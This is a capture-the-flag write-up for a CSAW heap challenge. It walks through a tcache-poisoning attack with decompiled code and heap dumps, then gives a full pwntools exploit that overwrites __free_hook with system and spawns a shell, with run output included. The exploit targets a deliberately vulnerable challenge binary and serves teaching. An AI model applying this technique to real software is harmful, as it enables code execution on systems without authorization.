Popping Caps 1

For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.

Reversing

Taking a look at the main function, we see a lot of similarities:

undefined8 main(void)

{
  ulong choice;
  size_t size;
  long freeOffset;
  long lives;
  void *ptr;
  void *ptrCpy;
 
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  printf("Here is system %p\n",system);
  lives = 7;
  ptr = (void *)0x0;
  ptrCpy = (void *)0x0;
  while (lives != 0) {
    printf("You have %llu caps!\n",lives);
    puts("[1] Malloc");
    puts("[2] Free");
    puts("[3] Write");
    puts("[4] Bye");
    puts("Your choice: ");
    choice = read_num();
    if (choice == 2) {
      puts("Whats in a free: ");
      freeOffset = read_num();
      free((void *)((long)ptr + freeOffset));
      if (ptr == ptrCpy) {
        ptrCpy = (void *)0x0;
      }
    }
    else {
      if (choice < 3) {
        if (choice == 1) {
          puts("How many: ");
          size = read_num();
          ptr = malloc(size);
          ptrCpy = ptr;
        }
      }
      else {
        if (choice == 3) {
          puts("Read me in: ");
          read(0,ptrCpy,0xff);
        }
        else {
          if (choice == 4) {
            bye();
          }
        }
      }
    }
    puts("BANG!");
    lives = lives + -1;
  }
  bye();
  return 0;
}

So some differences we noticed from the first problem, we can scan in 0xff bytes instead of 0x8 bytes. Also we notice that the bye function doesn't have the malloc call in it:

void bye(void)

{
                    /* WARNING: Subroutine does not return */
  exit(0);
}

So we have to do this without a malloc at the end. Our previous attack won't work anymore.

Exploit

For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:

gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x0    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x0    0x0
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0

Proceeding that, we will free the tcache idx block:

gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x0    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x1000000    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x0    0x0
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x556921223010
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0

As you can see, that chunk is in the tcache. Next we will allocate it:

gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x0    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x0    0x0
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0

Now ptrCopy is set equal to 0x556921223010. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of free (which we know from the earlier infoleak), and also set the idx count to 0x1. Also one thing I did here is I put /bin/sh\x00 at 0x556921223050, however that ended up not being needed:

gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x1    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x7f9c2755b8e8    0x68732f6e69622f
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0
gef➤  x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>:    0x0

Proceeding that we will allocate the chunk to the free hook:

gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x0    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x0    0x68732f6e69622f
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
0x556921223200:    0x0    0x0
0x556921223210:    0x0    0x0
0x556921223220:    0x0    0x0
0x556921223230:    0x0    0x0
0x556921223240:    0x0    0x0
0x556921223250:    0x0    0x21
0x556921223260:    0x0    0x0
0x556921223270:    0x0    0x20d91
0x556921223280:    0x0    0x0
0x556921223290:    0x0    0x0
0x5569212232a0:    0x0    0x0
0x5569212232b0:    0x0    0x0
0x5569212232c0:    0x0    0x0
0x5569212232d0:    0x0    0x0
0x5569212232e0:    0x0    0x0
0x5569212232f0:    0x0    0x0
0x556921223300:    0x0    0x0
0x556921223310:    0x0    0x0

Now that ptrCopy is set to the free hook, we will write to it the address of system. I originally tried using a onegadget, however they didn't work for me in this case:

gef➤  x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>:    0x7f9c271bd440
gef➤  x/g 0x7f9c271bd440
0x7f9c271bd440 <system>:    0xfa66e90b74ff8548

Now ptr is set to the free hook at 0x7f9c2755b8e8, in the libc. Next we will free the string /bin/sh\x00 in the libc, by passing our argument to free to be the offset between the free hook and that string. When we do that, the free hook gets called with the argument to free which is a pointer to /bin/sh. This calls system("/bin/sh").

Exploit

Putting it all together, we have the following exploit:

from pwn import *

#target = remote("pwn.chal.csaw.io", 1008)
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(target, gdbscript='pie b *0xbca')


elf = ELF("popping_caps")
libc = ELF("libc.so.6")

leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)

libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)

def pl():
    print target.recvuntil("Your choice:")

def malloc(x):
    pl()
    target.sendline("1")
    print target.recvuntil("How many:")
    target.sendline(str(x))

def write(x):
    pl()
    target.sendline("3")
    print target.recvuntil("Read me in:")
    target.send(x)

def free(x):
    pl()
    target.sendline("2")
    print target.recvuntil("Whats in a free:")
    target.sendline(str(x))



malloc(0)

free(-592)

malloc(0x240)

payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) + "/bin/sh\x00"

write(payload)

malloc(0)

write(p64(libcBase + libc.symbols["system"]))

free(-2333262)

target.interactive()

When we run it:

$    python roland.py
[+] Starting local process './popping_caps': pid 3993
[*] '/home/guyinatuxedo/Desktop/roland/popping_caps'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/guyinatuxedo/Desktop/roland/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc base: 0x7f3a7d695000
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
How many:
 
BANG!
You have 6 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
Whats in a free:
 
BANG!
You have 5 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
How many:
 
BANG!
You have 4 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
Read me in:
 
BANG!
You have 3 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
How many:
 
BANG!
You have 2 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
Read me in:
 
BANG!
You have 1 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
 
Whats in a free:
[*] Switching to interactive mode
 
$ w
 22:52:12 up 39 min,  1 user,  load average: 0.00, 0.02, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               22:13   ?xdm?  32.21s  0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core  libc.so.6  popping_caps  roland.py  solved.py

Just like that, we popped a shell!